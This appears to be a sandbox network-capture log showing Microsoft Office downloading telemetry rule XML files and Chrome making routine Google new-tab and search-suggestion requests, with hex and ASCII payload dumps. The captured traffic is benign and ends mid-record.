2024-12-06 23:15:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:21 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 315527f4-201e-0085-2995-4634e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231521Z-1746fd949bdtlp5chC1EWRq1v400000004wg000000004v7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:21 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2b878731-501e-008c-34ce-45cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231521Z-1746fd949bd2cq7chC1EWRnx9g00000004gg00000000a8f2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:21 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:22 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 682fb484-401e-0083-5904-48075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231521Z-r1cf579d778z4wflhC1EWRa3h000000000s00000000055m3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 23:15:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:21 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 6223bc78-401e-0015-38b6-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231521Z-1746fd949bdhk6hphC1EWRaw3c00000004ng00000000bm37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:21 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: aae5b6c6-f01e-005d-7a06-4813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231521Z-r1cf579d778kr8xrhC1EWRfkun000000016g000000002dnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 3bfd724e-501e-0016-6705-48181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231524Z-r1cf579d778t6txphC1EWRsd440000000140000000009cmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:24 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49737	142.250.181.100	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:24 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-06 23:15:25 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:24 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ypA0-VGadXy0wx-76F8YKA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 23:15:25 UTC	124	IN	Data Raw: 33 30 66 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 66 69 6e 61 6c 20 6a 65 6f 70 61 72 64 79 20 74 6f 64 61 79 22 2c 22 63 6f 6c 6c 65 67 65 20 66 6f 6f 74 62 61 6c 6c 20 70 6c 61 79 6f 66 66 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 63 68 61 6e 67 65 73 20 32 30 32 35 22 2c 22 6d 61 72 76 65 6c 20 72 69 76 61 6c 73 20 72 65 6c 65 61 73 65 20 74 69 6d 65 22 Data Ascii: 30f)]}'["",["final jeopardy today","college football playoff","social security changes 2025","marvel rivals release time"
2024-12-06 23:15:25 UTC	666	IN	Data Raw: 2c 22 6e 75 72 73 65 20 68 61 6e 6e 61 68 20 68 69 61 74 74 22 2c 22 7a 6f 6d 62 69 65 73 20 63 69 74 61 64 65 6c 6c 65 20 64 65 73 20 6d 6f 72 74 73 20 73 77 6f 72 64 73 22 2c 22 6c 75 69 73 20 73 65 76 65 72 69 6e 6f 20 63 6f 6e 74 72 61 63 74 22 2c 22 72 6f 63 6b 73 74 61 72 20 67 61 6d 65 73 20 67 74 61 20 36 20 74 72 61 69 6c 65 72 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 Data Ascii: ,"nurse hannah hiatt","zombies citadelle des morts swords","luis severino contract","rockstar games gta 6 trailer"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d"
2024-12-06 23:15:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49736	142.250.181.100	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:24 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49738	142.250.181.100	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:24 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-06 23:15:25 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 06 Dec 2024 23:15:24 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 23:15:25 UTC	372	IN	Data Raw: 32 31 30 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 210a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-06 23:15:25 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-06 23:15:25 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-06 23:15:25 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" 